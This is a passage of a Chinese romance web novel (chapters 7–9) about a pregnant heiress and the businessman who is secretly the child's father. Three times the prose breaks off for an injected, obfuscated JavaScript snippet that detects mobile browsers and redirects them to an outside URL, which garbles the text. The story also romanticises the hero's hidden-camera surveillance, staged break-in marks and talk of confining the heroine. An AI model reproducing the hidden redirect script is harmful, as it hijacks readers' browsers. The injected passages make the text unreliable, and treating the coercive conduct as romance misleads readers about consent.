《迷情圈套[先孕后爱]》 7. 第 7 章 黎铮眉间皱了皱,好像很不愿意承认,甄宝珠完全可以理解,她没想到来医院检查竟然还能得知这种八卦,阴霾了几天的心情短暂放晴。 谁说比惨不能安慰人,她现在就有被安慰到,她的痛苦还能向姐妹倾诉,黎铮这可是无法开口的痛。 她掩唇一笑,“你…不行吗?” 黎铮投来一个无语眼神,“只是体检,你呢?” 甄宝珠甩了甩手上的检查单,“巧了,我也是。” 两人同乘电梯上楼,直达检验中心。 黎铮的助理正在那等着。 甄宝珠在抽血台前做了个“请”的手势,“您先来。” 黎铮脱下西装外套,慢条斯理解开袖扣,卷起袖口伸出一只紧实手臂,手肘之上的肌肉也隆起一个完美的弧度。 甄宝珠上手戳了戳黎铮的上臂,啧啧两声,调侃道:“我听说那方面不行的男人,是会刻意练肌肉补偿。” 此话一出,身边的助理和抽血的护士同时看向黎铮手臂。 "甄小姐…"黎铮咬咬牙,压着尴尬和怒意。 甄宝珠却不以为然,认真安慰:“怎么了?有病就积极治疗,不要有心理负担。” 黎铮攥紧拳头,血液顺着针管流得更快了。 抽完血,他用棉签按住针口,抬了抬下巴,示意甄宝珠坐下抽血。 黎铮打算要走,甄宝珠却不知道什么时候偷偷扯住他的衬衫,他一动,衬衫衣角就被她从皮带里扯了出来,平顺的布料被她攥成一团褶皱。 他站在原地,眉头轻皱,目光定在那团乱糟糟的衣角和她用力发白的指节。 扎针是甄宝珠最怕的事,从小到大每每打针她都得哭一场。甄宝珠伸出胳膊去,绑上止血带那刻就开始控制不住颤抖。 “别抖。”护士按住她的手,她抖得更厉害。 眼睁睁盯着护士在她血管上涂碘伏,拿出好几个采血管,用力按了按她的肘窝,拔下尖针。 甄宝珠始终直勾勾盯着针头挪移,眉头早已皱深,压着漂亮的眼睛,忽然一只手遮住她的眼睛,挡住针头穿进皮肤的过程。 她的睫毛抖了抖,仰过脸,黎铮那双深邃的眼睛正俯视她。 窗外阳光斜洒在他身上,把他的头发照得黑亮,白衬衫内隐约透着清健的身形。 “不用谢。”黎铮漫不经心地说。 下一秒,甄宝珠就抓住他的小臂,指甲嵌进他的皮肤… “好疼~”甄宝珠哭得梨花带雨。 黎铮坐在旁边一声不吭,十分无语。 他抬起手臂,看着几处深深的抓痕,嫌弃道:“别哭了,抽个血而已。” 这么娇气,怎么生孩子? 甄宝珠抬起头,泪水凝在精致的下巴劾儿上,她不断委屈抽气,把胳膊抬给他看,碘伏在白皙的皮肤上格外显眼,针头处一片青紫浮肿。 他扫了一眼,又不说话了。 “你看女孩子哭也不知道递纸巾吗?”甄宝珠抽抽搭搭怨道。 黎铮给助理递了个眼神,助理立刻意会,给甄宝珠递上纸巾。 甄宝珠接过纸巾擦了擦眼泪,撇嘴道:“珠峰级别的渣男,事后都是让助手处理的吧?” 黎铮愣怔一下,伸手抽走甄宝珠擦眼泪的纸巾。 甄宝珠的眼泪花儿还在打转,又懵又凶:“你干嘛?!” 黎铮变了张冷漠面孔,“我最近在相亲,听说很多关于我的谣言,说我是段位比珠峰还高的渣男,我想请问一下...” 谣言源头此刻正眼神躲闪到处乱看,手指局促地抓着脖颈。 “果然是你。”黎铮深吸一口气,揉着眉心,“你说话从来都不负责任的吗?” “我对你的鉴定结果很负责任,”甄宝珠挺起胸脯,翘起指尖指他,“你,渣男。” “你有什么发言权,我怎么你了?” 甄宝珠忽然凑近,鼻尖快要碰到黎铮的脸,“你看我的眼神总是感觉图谋不轨。” 黎铮眉间微蹙,似乎为了要否认甄宝珠的猜想,特意与她对视,更像是水火不容的目光争执。 抽血时她就一直咬着嘴唇,此时两片软唇更红润饱满,干扰了黎铮的坚定目光,他没控制住,目光降落在甄宝珠的唇上。 可算被甄宝珠抓了个正着,她唇角一扬,说:“看,我就知道。” 黎铮攥紧手里的纸巾,努力维持着表面绅士风度,冷静下来他说:“如果你的感觉是因为之前的误会,上次我们已经解开了,请你以后不要再造谣,这话我只说一次。” 甄宝珠挑眉,“看心情。” 虽然她嘴硬,心里还是有点儿过意不去,她也不了解黎铮,先入为主的判断确实影响到了人家。 “你最近在相亲?喜欢什么样儿的?我可以帮你搭线。”她想着稍微弥补一下黎铮的损失。 “温柔贤惠,端庄得体……”黎铮回答得倒是很快。 甄宝珠想了想身边养尊处优的小姐妹们,算了,弥补不了一点儿。 “可惜了,我身边没人符合你要求。”她摆了摆手走远。 “……” 黎铮感觉又被甄宝珠摆了一道,目光沉沉凝望着她离开的倩影。 待甄宝珠走后,助理关林走到黎铮身边汇报。 “黎总,已经把甄小姐做的检查项目发给私人医生了,他说这些都是术前化验。” “什么手术?”黎铮眉心深凿。 “怀孕初期能做的手术,大概只有人工流产...” 黎铮:“……” * 甄宝珠刚做完B超,一出门差点又撞进黎铮怀里,她被吓了一跳,“你不会在跟踪我吧?” “甄小姐,我忽然想起一个人,很符合我的择偶标准。” “谁啊?” “你朋友,游悠。” 甄宝珠:“???” 温柔贤惠,端庄得体。 游悠到底符合哪个字啊? “听说你们是好朋友,愿意帮我介绍一下吗?” “可是……” 游悠喜欢小奶狗,不喜欢豺狼虎豹。 见她犹豫,黎铮露出一个亲切虚伪的笑容,“你知道造谣是会被告的吧?” 甄宝珠愣了一下,这厮果然不是善茬。 她敷衍道:“那我先问一下她,如果她愿意接触,下次我们吃饭时你去付账好吧?” 她正要走,却被黎铮高大的身形挡住去路。 “我平时很忙,今天怎么样?” 她捏着B超报告,“可我今天还有事~” “我们公司法务部胜率是百分百。” 甄宝珠白眼,“没完了你还。” 她不忿地掏出手机,拨通游悠的电话,“喂,黎铮你记得吧?我跟你说我今天看到他在医院男科...” 黎铮轻咳,提醒她不要乱说话,甄宝珠拉了一下嘴唇拉链,背身躲着他。 “黎总说想认识你,晚上要出来吃饭吗?对,他请客。” 挂断电话,甄宝珠扭回身说:“游悠要去玉楼吃。” 黎铮脸上依然冷淡,“可以。” “那里是会员制,很难预订。” “没关系,你住哪儿?到时我让司机去接你。” “接我吗?”她有点儿纳闷,他不是应该去接游悠吗? 黎铮点头:“你是中间人,我担心会尴尬。” 她念了一遍地址,踮起脚拍了拍黎铮的肩膀,认真嘱咐道:“好好治病哦,不能给我姐妹性.福,身材练得再好都会被甩的。” 黎铮:“…….” * 甄宝珠询问了医生的意见,妇产科医生只告知她人工流产对身体的伤害,最后还是得需要她来做决定。 理性告诉她这个孩子不该留,感性让她犹豫,她本来不应该纠结的。 如果她是因为压根没做避孕措施或者套破了这种意外怀孕,她也许会毫不犹豫,可这个生命是她选择的结果,是她当初决定要把ta带到这个世上的,她应该负全部责任。 这几个月她戒烟戒酒、吃叶酸,维生素,为了促进排卵扎针,在姐姐看来全部都是不能参与重大决策的沉没成本。 这个胚胎已经跟她建立了某种密不可分的连接,她丝毫没有考虑到自己的身体损害,只是一想到切断连接,她就充满内疚。 这一犹豫,再回妇产科的时候,护士对她说:“刘主任上楼开会了,不是急诊手术你明天再来吧,再好好考虑一下。” “刚才她还在呀。” “哦,来了个投资商要捐设备,各科主任都去提需求了,一时半会儿下不来,你不介意找别的大夫也行。” 甄宝珠本来就想退缩,“不用了,我明天再来吧。” * 她心不在焉回家,在沙发上躺尸。 直到黎铮派车来接她,她连衣服都懒得换,上车之后发现黎铮本人也坐在后排。 “你这车有点儿意思。”甄宝珠敲了敲玻璃。 一款克拉森改装的奔驰商务车,A6级的防弹标准。 甄宝珠在美国时,这种改装防弹车甄世明也给她配了一辆,虽然很多美国富豪都配置这种车,但甄宝珠觉得在国内完全没必要,她没想到回国之后还能看到这种安全级别的车。 “这么怕死吗?”甄宝珠嘲他。 “安全第一。”黎铮的声音有些疲惫。 她已经上了车,可车子还在原地不动。 她问:“怎么还不走?” 黎铮冷淡道:“安全带。” “不是,后排有必要吗?” 黎铮轻叹口气,侧身扯出安全带把她捆上,司机才发动车子。 “神经。”甄宝珠碎碎念。 * 玉楼是会员制的私人餐厅,主营精致的南方菜系,黎铮和甄宝珠准时出现在提前订好的“酒千杯”包厢。 她作为陪客,是打算吃饱就溜的,但游悠一直不来,她饿得肚子咕咕响。 黎铮偶尔看看手表,修长的手指在桌面敲了又敲。 她试探地问:“要不,先点菜?” 黎铮叫来服务生,甄宝珠不客气地点了好多菜,还特意点了一碗酸枣养生粥,她一般对这种酸不拉几的东西不感兴趣,现在不知怎么,忽然特别想喝。 她双手托腮等菜,一副神游的表情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14427809|153794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人又等了很久,黎铮也不说话,气氛有些尴尬,她想找些话题来说:“欸,我问你个问题,假如你在纠结两种截然不同的选择,你会用什么方法判断?” 黎铮似乎也对她的话题有些兴趣,“具体说。” 她迟疑一下,“不能具体说,我只能告诉你,会影响未来的生活,翻天覆地的影响。” 黎铮思索片刻说:“想好你的两种选择,如果十分钟之内游悠到了,你就选择第一种,如果十分钟后游悠还没到,我就走了。” “这跟扔硬币有什么不同?赌徒。”甄宝珠乜了他一眼。 但她好像也没有更好的方法,她忍不住在心里默默想着,如果游悠来了,她就去医院,如果她没来,她就把孩子生下来。 时间一分一秒流逝,游悠在第九分钟姗姗来迟,花枝招展的都市丽人进门那一刻,黎铮低声问甄宝珠,“刚才的十分钟,你希望游悠早点来,还是晚点来?” 甄宝珠抿了抿唇,其实,她看到游悠推门那一刻,是不开心的。 “BB,好几天没见你想不想我嘛?”游悠搂住甄宝珠的脖颈,千娇百媚地冲黎铮笑了一下。 “你迟到了,十八分钟。”黎铮回了个冷眼。 甄宝珠、游悠:“......” 气氛凝固到了冰点,所幸上菜的服务生拯救了氛围。 游悠趴在甄宝珠耳边悄声:“这就是你说的高等级渣男?我怎么看是低等级直男。” 黎铮:“......我听到了。” 吃饭时黎铮话不多,他只要一开口,问的都是游悠父亲和她家公司的事。 问到游悠直翻白眼,“黎总,你是跟我相亲吧?要不然我叫DADDY来跟你吃这餐?” 意识到黎铮是个十分无趣的人,游悠便开始和甄宝珠大聊八卦,两人聊得热火朝天。 黎铮也意识到自己目的性过强,主动道歉,“抱歉,关于我,你有什么想知道的吗?” 游悠忽然来了兴致,“坊间对你的传闻不少,很有传奇色彩的,要不然你来讲讲?” “传闻我没有听说过,但我身上没有太多传奇色彩,大概都是半真半假。” 甄宝珠颇为得意,“要我说都是假的,什么把命留下的私募,还能有枪怼着脑袋吗?” 黎铮擦了擦嘴,淡然道:“哦,这个是真的,只不过拿枪的是我。” 餐厅内的空气静了一瞬,之后的晚餐两个姑娘都安安静静,看起来端庄极了。 游悠先怂了,快速炫完碗里的饭,恭敬地说:“黎...先生,我觉得您适合更有胆量的女士,这不是您的问题,完全是我的问题。今天我家的奶狗病了,我得早点回去带他去男科医院,不不,宠物医院。” 黎铮唇角扬起,“我是被拒绝了吗?真遗憾~” 甄宝珠看着黎铮一脸轻松的表情,心说你装都不装了是吧。 游悠抛下姐妹一溜烟儿逃了,甄宝珠的酸枣粥也喝得战战兢兢。 饭毕,黎铮说:“你没开车吧,我可以送你回去。” 甄宝珠往后撤了撤,“你...刚才说的都是真的?别多想,我只是问问。” “假的,你们太聒噪,我只想安静地吃完饭。” 黎铮,你大爷! “黎铮,你大...大动干戈让我约游悠,根本不是为了相亲,你到底要干嘛?” “我和你游叔叔有很重要的生意谈,但他好像还在怀疑我的能力,我相信今天过后游悠会向他转达的。” 甄宝珠咬咬牙,人怎么可以无耻成这样。 黎铮忽然开口问她,“我最近确实在相亲,你觉得我算是个优质的相亲对象吗?” 甄宝珠还生着气,“不算,你不坦诚。” 黎铮蔑笑,“什么时候坦诚也算是相亲市场的优势条件了?” “没有一个人能接受枕边人的算计,你好好反思吧你。”甄宝珠把腿挪了挪,离他远远的。 黎铮沉默片刻,好像真的在反思,半晌后他说:“我可以接受,婚姻不就是一场长期博弈吗?” 甄宝珠:“......” * 甄宝珠的住处是京市有名的湖岛小区,黎铮的车开到门口就被保安拦下,他也没坚持送她进去。 路上她在心里骂骂咧咧,黎铮这人,心机深、脸皮厚,以后可得离他远点儿,不过他的“扔硬币”论还是有些道理的,当时她确实不希望她的好朋友早点儿来。 电梯行至她的楼层,按下指纹锁,她发现门锁旁的白墙上有清晰的记号笔痕迹,一个正三角,一个倒三角,旁边写着一个凌乱的"M"。 她瞬间戒备起来,拿出手机拍了张照片。 打开门,她顺手抄起门口的棒球棍,壮着胆子往前走,另一只手不自觉捂着小腹。 忽然客厅的窗帘动了一下。 甄宝珠失声尖叫,把棒球棍往前一扔,窗帘晃动得更厉害了。 她浑身汗毛倒竖,转头奔向电梯,按电梯的手都在抖。 今时不同往日,她现在是两个人,稍不留神就是一尸两命,还是得跑。 一直跑出小区,黎铮的车还停在门口。 8. 第 8 章 甄宝珠脑子很乱,看到他的车好像抓到救命稻草,拉开车门就钻进黎铮车里。 黎铮当时正在打电话,他挂断电话,静静看着甄宝珠慌张失措的小脸。 “你怎么还没走?”甄宝珠惊魂未定。 “我发现你的护身符在车上,准备联系你来取。”他指尖缠着红绳,把紫檀木握在手掌把玩,上面雕刻着甄宝珠的生辰八字。 甄宝珠拽过护身符,立刻挂在脖子上辟邪,“我家进贼了,你能不能帮我上楼看看?” “......”黎铮仍看着她,目光中带着半点不相信的质疑。 她哆哆嗦嗦拿出手机照片证明,“看!这是标记。那人没准还在家里,就躲在窗帘后面。” “哦,所以你是打算让我上去跟歹徒搏斗,合适吗?” 黎铮环抱手臂,一副事不关己的样子。 知名青年企业家因为和小偷搏斗嗝儿屁升天了,那可太丢人了。 黎铮对前排的助理说:“关林,上去看一下。” 甄宝珠一直护着小腹,趴在窗口抻长脖子,等着黎铮的助理从楼上下来。 他下来时手里提着一个大号毛绒玩具,是甄宝珠的hellokitty。 “黎总,门窗没关,窗帘动可能是因为有风,”他提着Kitty的耳朵,“房子里没人,只有hellokitty,看起来不像入侵者,像原住民。” 黎铮把毛绒玩具递进甄宝珠怀里,“你需要全屋安防系统或者大一点儿的胆量。” 甄宝珠心有余悸,仍不敢上楼,虽然楼上没人,但标记是实实在在存在的。她想去游悠家借住,但估计游悠这会儿正在小奶狗怀里求安慰呢。 “去酒店住一晚吧,麻烦你了,黎总。”她可怜巴巴望着黎铮。 黎铮微怔,随即让司机开车。 一路上她上网查那些标志代表的意思,把手机怼在黎铮眼前,“两个三角代表独居女性,''M''代表的意思是美女,这个歹徒肯定见过我,想劫财还想劫色。” “......” 车子越行越远,停在某栋独立别墅前。 甄宝珠扭头问:“这是哪个花园酒店?” 黎铮答:“这是我家,我不喜欢住酒店。” “谁问你喜不喜欢了?”甄宝珠反应了一会儿,犹豫问道:“你是什么意思?” “你不是向我发出了去酒店的邀请吗?” 甄宝珠:“......我说的不是中文吗?” 黎铮倒有些嫌弃地看着她,“你刚才说‘麻烦我和你去酒店住一晚。’” “我说的是麻烦你送我去酒店,不是陪我去酒店...” 天呐,他能不能学好中文再回国。 他不置可否,“这里离市区很远,我不会再送你了,你可以选择住在这儿,或者自己打车去市区,需要扔个硬币决定吗?” 甄宝珠看着四周黑漆漆的夜色,在心里咒骂。 他又说:“你确实更需要大一点儿的胆量,今晚我们一起吃饭,如果你出了事,警察会第一个找我。” 甄宝珠最受不了激将法,就一晚,她怎么不敢住?假如他黎铮和歹徒搏斗死了会上新闻,那她甄宝珠失踪了也会上新闻。 黎铮的房子和甄家差不多,标准的豪宅配置,露天泳池清澈无比,房子内却是灰暗简洁的色调,没有一件浮夸的装饰,极简又沉闷。 甄宝珠乏力地靠在沙发,犀利点评:“监狱或者看守所也不过如此了吧,你这个房子好像从来没住过女人的处男房。” 黎铮没回话,甄宝珠玩笑道:“你不会是个变态杀人狂吧?我看这个房子挺适合囚禁分尸的。” 一扭头,黎铮正站在沙发背后,那双锐利的眼瞳正自上而下看着她。 他勾唇一笑,“你怎么知道?” 她怎么知道?她不知道啊! 她、她只是开个玩笑...... 甄宝珠仰脸看着黎铮似笑非笑的表情,他的两手撑着沙发靠背,刚好能把她的肩膀圈起来,那双深瞳就一直盯着她看,也不知道在想什么。 她只感觉两腿发软,后脊梁一阵发凉。 “救、救命啊~” 她呼救的余音响彻房子每个角落,下一秒就被黎铮捏捂住了嘴,虽然他没施力,也能把甄宝珠吓得呼吸骤停。 他附身贴耳,烘热气息熨烫她的耳垂,“嘘,你不觉得现在喊救命太迟了吗?” 甄宝珠瞳孔一缩,气息在瞬间屏住,虚汗也出了一脑门,她的手不知何时又紧紧贴着小腹。 见甄宝珠乖顺,黎铮笑了一下,鼻息掠过甄宝珠耳后,她浑身发凉,耳尖滚烫。 “倒数一分钟,等人来。”黎铮低沉蛊惑的声音直达天灵盖,挑动她摇摇欲坠的神经。 他妈的他还有同伙。 那半分钟,甄宝珠肾上腺素飙升,人生就像走马灯一样在她脑海中闪过,直到落地窗前掠过两三个男人身影,趁他的视线转移到门口时,她张嘴就咬住黎铮的虎口。 “嘶~” 从门外进来的几个五大三粗保镖,都愣站在原地。 黎总受伤了,鲜红的血液顺着掌纹滴落,融进黑色真发沙发。 是那个女人咬的,她嘴角有血。 几个保镖正准备上前制服她,黎铮抬起染血的掌心,止住他们往前走的步伐。 甄宝珠脸色煞白,胸脯上下起伏,恨恨地舔掉了唇角的血。 黎铮倒很淡定,看了眼手表,皱眉望着手上的伤口,对他们说:“晚了八秒。” 甄宝珠一脸懵,什么八秒? 他随便扯了张纸巾按在汩出血液的伤口处。 “甄小姐,向你介绍一下我的保镖团队和全屋安防系统,主屋所有房间,声音超过60分贝,就会被声音监测系统检测到,反馈到安保中心,然后安保中心会在一分钟内到达,哦不,今天是一分钟零八秒。” 甄宝珠还用身边的抱枕护着小腹,颤抖成一团,听过黎铮的解释,她没忍住一抬手就把抱枕狠狠扔在他身上,他反应速度极快,单手接住抱枕,笑容中还带着恶作剧完成的得意神色。 疯了,这人疯了。 “黎铮,你他妈有病啊!” 黎铮把保镖打发下去,坐在气呼呼的甄宝珠对面,抬起手掌,“我只是想向你证明我这里是绝对安全的,但没想到甄小姐临危不惧,如果我真是歹徒,你用这种方式只会激怒我。” 甄宝珠瞪着他,心里一团无名火却没处发泄。 “你现在就送我回家!”甄宝珠压着分贝向他吼道。 黎铮修长的手指比在唇边,眼中流转深意笑容,“忘了告诉你,我的安防系统十点之后禁止出入。对了,十点不是你的睡觉时间吗?二楼左转,客房。” 说完他起身要走,甄宝珠喊住他:“你干什么去?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14427810|153794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他抬了抬手,“处理伤口。” 说完他就转身走入书房,留下一个挺拔清隽的背影。 甄宝珠对着那个背影一番眼刀。 黎铮刚走,他的助理就带着医生进门,医生进了书房,关林走到甄宝珠身边,“我带您上楼,请吧,甄小姐。” 二楼的客房看起来鲜少人住,房间里除了一张干干净净的床,什么都没有。 她用清水洗了把脸,在心里默默问候黎铮全家。 躺在床上翻来覆去睡不着,又赤着脚把房间门反锁,才抱着她的hellokitty蜷在床上。 与此同时,医生站在书桌外侧给黎铮消毒上药捆纱布,见黎铮虎口处有一洞穿的犬齿印,手臂还有明显抓痕,询问道:“黎总,这是怎么弄得?” 黎铮面对着笔记本电脑,光亮照在他线条明晰的脸上,他没答话,关林在一旁没好气说:“猫抓的,狗咬的。” 黎铮抬了抬眼,冷森的目光看着关林。 关林低了低头,自己嘟囔:“这位甄小姐,张牙舞爪的,您好久都没有受过伤了。” 黎铮又望向电脑屏幕。 屏幕中甄宝珠的睡姿实在说不上优美,她搂着毛绒玩具,身下被子团成条状,细长匀称的腿架在被子上。 窗外的月光给她披上一层柔软的薄纱,两颊的婴儿肥未褪,侧卧挤压圆翘的下巴,两片嘴唇微微嘟起,闭上眼睛的她看起来恬静温柔,没什么攻击性,不像醒时那么闹腾。 豪放的睡姿通过房间的隐藏摄像头,将画面传入黎铮书房的笔记本电脑。 处理过伤口,医生就离开了。 黎铮才开口,语气中带着些许责问:“让你在她家门前做标记,单身女性我可以理解,有必要加个美女标记吗?” 关林挠了挠头,“这样显得真实。” 黎铮闭了闭眼,“太真实了,吓到她了。” 黎铮望着屏幕里整个计划最大的不稳定因素,目光中泛出深深担忧。 “真的不能让她在这个房子里老老实实呆着,生完孩子再出去吗?”黎铮揉了揉眉心。 “老板,您说的方式,是简称囚禁吗?” 黎铮随意摆了摆手,让关林走开,目光又流转回电脑屏幕。 如果不是她怀了自己的孩子,他和甄宝珠大概一辈子都不会有什么交集。那是他年轻时一次错误的选择,但没想到几年之后会彻底影响他的生活。 这样的女人并不是黎铮的理想型,黎铮完全知道自己要什么,择偶方面,黎铮认为自己的理想型一定要有冷静的头脑,最好是势均力敌的女强人,事业上能与他争一争高下。 反观甄宝珠这一类,像高中时的拉拉队员,让人无法忽视的美貌,但学识与道德都极度匮乏,人生最大的成就大概就是玩弄了诸多男人的感情。 透过电脑屏幕,他长久凝视这个怀着他的孩子却浑然不知的女人。 甄宝珠看似是睡着了,双腿抽动了一下,被子也抱得更紧,像做了什么不安稳的梦。 电脑里传出模糊的哼吟,黎铮皱紧眉头,被她咬过的皮肤开始烧灼。 屏幕中的女人双腿裹紧,白皙的脚尖绷起,两颊微微泛红,哼吟声在暗夜里越来越清晰。 黎铮后知后觉,心脏忽然强烈跳动,受伤的右手迅速将笔记本电脑合上,一丝娇声还是溢了出来,准确又滚烫地传入他耳中。 “黎铮~” 9. 第 9 章 甄宝珠起晚了,她做了个旖旎的春梦,在梦中无法自拔,清醒之后她心跳更快,坐在床上发呆,还在回味那个梦。 她做过几次春梦,基本都是模糊的,而昨夜梦中不可描述的场景和男人的形象无比清晰。 真实到她深吸一口气,又浑身上下摸了一遍。 没有吻痕、没有其他异常。 一定是因为她睡在别人的房子里,睡前还经历了那么刺激的事,所以脑神经活跃。 最后她把一切归结为——孕期饥渴。 她在网上搜索了一下,看到很多人孕期都有这样的情况,也就放心许多。 她懒散又心安理得地走进浴室,热水洗掉一身黏黏糊糊的春潮,没找到吹风机,就用毛巾包着头发下了楼。 走下楼梯,她一眼看到黎铮还是觉得尴尬,而且莫名燥热,拖着有些发软的双腿,低头摸着耳垂坐在餐桌对面。 她闻到了咖啡的香气,面前却放着一杯牛奶和刚烤好的面包。 咖啡杯在他面前,他端起咖啡,右手包着一层纱布。 “你的手...没事吧?” “嗯。”黎铮垂眼看着手机,始终没正眼看过她。 她呷了口牛奶,拿起烤面包小口小口啃着,尴尬到没话找话。 “我不爱吃面包,你家有没有老干妈?” “没有,你大早上就吃辣?”黎铮探出问询眼神。 “嗯,去去湿,压压火。”她端起牛奶喝了两口,舔了舔唇。 黎铮的脸瞬间有些泛红,清了清嗓子,“昨天,你睡得怎么样?” 经这一问,甄宝珠没来由心虚,但转念一想,黎铮招呼都没打就进入她的梦里对她酱酱酿酿,她心虚个屁啊。 “嗯,还行。”甄宝珠一鼓作气把牛奶干了,又道:“就是床太硬了,腰疼。” 她也分不清是腰疼还是腰子疼。 “哦......” 黎铮似乎不想接她的话,搞得气氛忽然又很尴尬。两人默默无语,各怀鬼胎吃了一顿早餐。 黎铮上楼又下来,带着一个吹风机放在桌边,什么都没说。 甄宝珠上楼吹头发,手机又铃声大作,她懒洋洋接起,甄玉珠在电话那头问她考虑得怎么样? 昨晚一顿饭,黎铮确实给了她一些灵感,既然黎铮可以征婚,她也可以。 给孩子找个临时爹而已,大不了生了孩子再离婚。 她在电话里告诉姐姐,这个孩子她要留下,甄玉珠在那边短短叹了口气。 “就知道你舍不得,希望你能对自己的决定负责。” 她从楼上下来,黎铮刚好从一楼的书房走出来。 “甄小姐,我要去公司了,捎你一程还是你自己走回去?” “我为什么要自己走回去?” 黎铮顿了顿,似乎在想措辞,“消耗一下你那无处发挥的精力。” 甄宝珠:“???” * 黎铮把她捎到市区,一路送到游悠家。 在车上两人心情竟然都意外的不错,黎铮有意无意提起相亲的事,但甄宝珠无动于衷。 这让黎铮有些纳闷,他想不明白为什么甄宝珠想找契约婚姻对象不会第一个考虑到他。 明明,她昨晚还...... 这个不安定因素,黎铮不知道她那个骨相完美的脑袋瓜里到底在想什么。 甄宝珠这次去游悠家知道先敲门了,小奶狗穿得很保守,只是一见甄宝珠就没给她好脸色,书包一背,气哼哼上学校了。 游悠解释道,“我昨天告诉他你给我介绍相亲对象。” 甄宝珠深感被朋友背刺,“难怪,原来小奶狗有危机感了。” 甄宝珠刚开始脑补一场别开生面的做恨,黎铮那张冰山脸就忽然闪过眼前,打扰了她倒黄色废料。 游悠也是一脸性.福到了的状态,跟甄宝珠聊起昨天的晚餐,她还很疑惑:“我怎么觉得黎铮醉温之意不在我呢?” 甄宝珠点头,“恩,不在你,在你爸。” 她没敢告诉游悠自己昨夜住在他家里,也不知道为何心虚,好像他们真的做过了。 她只得转移话题,“我打算把这个孩子生下来,还准备给孩子找个临时爹,你帮帮我,也给我介绍几个相亲对象呗?” 游悠盯了她一会儿,见她是来真的,仔细思考后,说:“那你直接找魏铭不得了,你一个电话魏铭就能为你抛弃一切回国,只要能和你牵手一生,他能把你的孩子当他亲爹养。” 甄宝珠斜了她一眼,“我不要牵手一生,这个孩子名正言顺生下来,我就离婚。” 在感情方面,甄宝珠是极为崇尚感觉的人,魏铭再好再体贴,她没有来电的感觉。 自从她意识到魏铭喜欢她,就一直疏远魏铭,现在她回国了,魏铭大概也能彻底死心了。 说话间,悠游已经把近几年认识的男人照片都组建成相册,把平板推给甄宝珠,任她挑选。 甄宝珠随便划拉了两下,“先把你睡过的给我挑出去。” 游悠悻悻拿过平板电脑,从相册里删了两三个。 甄宝珠才开始认真看,“这个汪屹不错,姓汪,南方商会的人?” 游悠探过头来,默默点了删除键,“这个是打算睡的。” 甄宝珠伸给她一个大拇指,彻底败给她了。 最后她倒是也勉强挑了几个让游悠安排。 * 甄宝珠带着目的相亲,主打坦诚交流,她总是开门见山告诉对方,“我怀孕了,准备给孩子找个爹。” 对面人都是见过大风大浪的,没一口热咖啡喷在她脸上。 男人们眉间一紧,似乎在权衡眼前的美人到底值不值得他们养个外来的孩子。 往往都是思考一秒半,然后摊手摇摇头。 也有花花公子,眯起眼笑笑,“如果你把孩子打掉的话,我愿意让你陪我去巴黎待几个月。” 一杯牛奶从对面直接泼过来,“让你爸陪你去。” 花花公子带着一身奶味负气离开,甄宝珠又要了一杯牛奶,翘着腿生着气。 相亲失利,竟然还被调戏。 她打电话给游悠吐槽,“你给我介绍的都是什么人呐?” 游悠也很无辜,“宝珠公主,如果你的要求是愿意当便宜爹的上门女婿,我出去给你一抓一大把,可你自己不肯降低要求,和你相亲的不是出身名门就是行业精英,人家能自己养活自己,为啥要无爽当爹?” 甄宝珠忿忿不平,“这是什么世道,结婚率都这么低了,这群光棍儿想什么呢,老婆是自己的不就行了,还敢要求孩子是自己的,越是高知的男人越傲慢,在婚姻方面越封建。二十一世纪了,人类要进步的,我肚子里怀的可是精挑细选的优良基因,死守着自己那点儿良莠不齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14427811|153794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的基因干嘛呢?” 游悠扑哧一乐:“恩,你这么说都没给他们洗脑?” 她握着手机一顿输出,忽听身后低沉的哼笑,猛地拧回头,黎铮正坐在她身后那张咖啡桌,抱着胳膊听她的逆天言论忍不住低头失笑。 “你怎么在这儿?”甄宝珠秀眉攒起,一脸嫌弃。 “又见面了,甄小姐。”黎铮略抬手指算是打招呼,他手上的纱布已经拆掉了,“这是我公司楼下,刚才要带你去巴黎的男人是我的前任分部副总。” 在十分钟之前,副总头衔还没有“前任”这个词。 对那位副总来说这真是倒霉的一天。 来总部汇报工作,连上级人都没见到,下来喝杯咖啡的功夫,自己被泼了一脸牛奶,出门就收到了降级短信。 “你在我背后偷听?”甄宝珠扬起脸质问。 黎铮挑眉,“你声音太大,言论又过于犀利,让人很难不注意。” 甄宝珠环视周围,咖啡馆人不多,所有人都在暗戳戳看她。 她将牛奶杯重重放下,挑衅道:“你对我的说法有意见?” 黎铮摇头,“没有意见,我觉得你说的很对,优秀的基因确实不可多得,恭喜你。” 这倒是让甄宝珠没想到,她的语气顿时软下来,“你同意我说的?” 黎铮给她一个肯定的眼神,“完全同意。” 